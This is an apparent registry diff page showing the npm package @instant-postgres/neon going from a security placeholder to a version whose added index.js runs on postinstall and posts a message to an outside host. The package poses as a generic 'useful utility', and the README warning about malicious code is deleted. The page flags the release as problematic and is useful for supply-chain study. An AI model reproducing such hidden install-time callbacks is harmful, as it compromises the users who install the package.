@instant-postgres/neon 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @instant-postgres/neon might be problematic. Click here for more details.
- package/index.js +26 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const http = require('http');
|
3
|
+
|
4
|
+
console.log('Installing neon...');
|
5
|
+
|
6
|
+
const data = JSON.stringify({
|
7
|
+
site: 'neon.tech',
|
8
|
+
pkg: 'neon',
|
9
|
+
payload: 'Node.js package executed successfully'
|
10
|
+
});
|
11
|
+
|
12
|
+
const url = new URL('https://reisv3.pythonanywhere.com/?site=neon.tech&pkg=neon');
|
13
|
+
const options = {
|
14
|
+
hostname: url.hostname,
|
15
|
+
port: url.port,
|
16
|
+
path: url.pathname + url.search,
|
17
|
+
method: 'POST',
|
18
|
+
headers: {
|
19
|
+
'Content-Type': 'application/json',
|
20
|
+
'Content-Length': data.length
|
21
|
+
}
|
22
|
+
};
|
23
|
+
|
24
|
+
const req = (url.protocol === 'https:' ? https : http).request(options);
|
25
|
+
req.write(data);
|
26
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,17 @@
|
|
1
1
|
{
|
2
2
|
"name": "@instant-postgres/neon",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "A useful utility package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js",
|
8
|
+
"postinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"utility",
|
12
|
+
"helper",
|
13
|
+
"tools"
|
14
|
+
],
|
15
|
+
"author": "Anonymous",
|
16
|
+
"license": "MIT"
|
6
17
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40instant-postgres%2Fneon for more information.
|